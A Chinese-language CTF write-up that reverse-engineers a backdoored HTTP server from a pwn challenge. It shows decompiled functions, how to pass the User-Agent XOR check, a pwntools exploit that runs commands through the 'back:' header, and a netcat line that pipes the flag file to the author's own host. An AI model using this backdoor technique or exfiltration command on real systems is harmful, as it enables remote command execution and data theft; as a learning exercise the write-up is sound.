Loading... 最开始的时候我也是想成为一个 web 手的,但是在入门的时候就被绊倒在了门槛上。近期参与的比赛中有碰到 http 服务器后门相关的 pwn 题,看起来属于难度比较低的题目,但是由于我对这个东西没有任何了解,就完全不会做,比较可惜,所以我觉得还是有必要了解一下相关的东西,所以就挑了这一道入门题来做一下。 elf 文件是一个 http 服务器,使用 fork 创建新进程处理请求。开头建立了一个 socket 来接受链接,监听了 1807 端口 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/3883291094.png "></div> 然后看到 fork 之后的逻辑 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/883353879.png "></div> v4 为接受 fork 返回值的变量,其值为 0 代表该进程为子进程,那么 sub_40137C 就是服务器接受请求的主逻辑了。此函数中使用了一个 while 循环来一直接收请求 ```cpp __int64 __fastcall sub_40137C(unsigned int a1) { __int64 result; // rax void *ptr; // [rsp+18h] [rbp-8h] while ( 1 ) { result = sub_40125D(a1); ptr = (void *)result; if ( !result ) break; sub_4010DF(a1, off_601CE0); free(ptr); } return result; } ``` 其中 sub_40125D 函数按每个请求来切割所有的请求 ```cpp char *__fastcall sub_40125D(int a1) { int v1; // eax char buf; // [rsp+1Fh] [rbp-211h] BYREF char s[520]; // [rsp+20h] [rbp-210h] BYREF int v5; // [rsp+228h] [rbp-8h] int v6; // [rsp+22Ch] [rbp-4h] v6 = 0; while ( 1 ) { v5 = read(a1, &buf, 1uLL); if ( v5 < 0 ) break; if ( v5 ) { v1 = v6++; s[v1] = buf; if ( v6 <= 3 || s[v6 - 1] != '\n' || s[v6 - 2] != '\r' || s[v6 - 3] != '\n' || s[v6 - 4] != '\r' ) continue; } goto LABEL_10; } perror("read"); LABEL_10: s[v6] = 0; if ( (unsigned int)sub_40116C(s) ) return 0LL; if ( s[0] ) return strdup(s); return 0LL; } ``` HTTP 协议中,请求头由 `\r\n\r\n` 结束,这里在 while 中的 if 就是判断是否扫完了请求头。 特别的,这里有一个 sub_40116C 函数,是对 User-Agent 和请求头的处理,只对 `back:` 头部字段响应。 ```cpp __int64 __fastcall sub_40116C(const char *a1) { char s[32768]; // [rsp+10h] [rbp-8230h] BYREF char v3[512]; // [rsp+8010h] [rbp-230h] BYREF char v4[40]; // [rsp+8210h] [rbp-30h] BYREF char *v5; // [rsp+8238h] [rbp-8h] v5 = strstr(a1, "User-Agent: "); if ( !v5 ) return 0LL; __isoc99_sscanf(v5, "User-Agent: %32s\r\n", v4); if ( !(unsigned int)sub_400FAF(v4) ) return 0LL; v5 = strstr(a1, "back: "); if ( !v5 ) return 0LL; __isoc99_sscanf(v5, "back: %512[^\r]s\r\n", v3); sub_40102F(v3, s, 0x8000LL); puts(s); sub_4010DF((unsigned int)fd, s); return 1LL; } ``` 对 `back:` 的响应由函数 sub_40102F 处理 ```cpp __int64 __fastcall sub_40102F(const char *a1, char *a2, int a3) { char *v3; // rbx FILE *stream; // [rsp+20h] [rbp-20h] int i; // [rsp+2Ch] [rbp-14h] stream = popen(a1, "r"); if ( stream ) { for ( i = 0; ; ++i ) { v3 = &a2[i]; *v3 = fgetc(stream); if ( *v3 == -1 || a3 - 1 <= i ) break; } pclose(stream); } else { i = sprintf(a2, "error command line:%s \n", a1); } a2[i] = 0; return (unsigned int)i; } ``` 会直接执行该字段值,也就是只需要通过 back 字段就可以实现任意代码执行,实现后门的利用。不过利用后门之前要通过 User-Agent 的检测,也就是 sub_400FAF 这里的判断 ```cpp __int64 __fastcall sub_400FAF(__int64 a1) { int v2; // [rsp+1Ch] [rbp-14h] char *s; // [rsp+20h] [rbp-10h] int i; // [rsp+2Ch] [rbp-4h] s = (char *)sub_400D30(off_601CE8); v2 = strlen(s); for ( i = 0; i < v2; ++i ) { if ( (i ^ *(char *)(i + a1)) != s[i] ) return 0LL; } return 1LL; } ``` s 是在运行时解密的字符串,然后与我们输入的 User-Agent 字段值进行比较,与下标异或后都相同即可通过检测。s 这个字符串可以通过动调容易地求出。 所以就有 exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" #sh = remote("localhost", 1807) sh = remote("pwn.jarvisoj.com", "9881") def calcPassword(): crypt = list("2016CCRT") for i in range(len(crypt)): crypt[i] = chr(ord(crypt[i]) ^ i) return "".join(crypt) def generateRequest(userAgent, cmd): request = "GET / HTTP/1.1\r\n" request += "User-Agent: %s\r\n" % (userAgent) request += "back: %s\r\n" % (cmd) request += "\r\n\r\n" return request sh.send(generateRequest(calcPassword(), "cat flag")) print sh.recv() ``` 不过不知道为什么,直接 cat flag 并不会返回 flag,可能服务器有过滤,所以可以考虑反弹 shell,但是我尝试后也无果,所以还是通过 nc 发送到我的服务器上,也就是把 `cat flag` 换成 ```cpp cat flag | nc my_domain_ip 2000 ``` 然后在服务器上 `nc -l 2000` 即可。 最后修改:2021 年 07 月 19 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧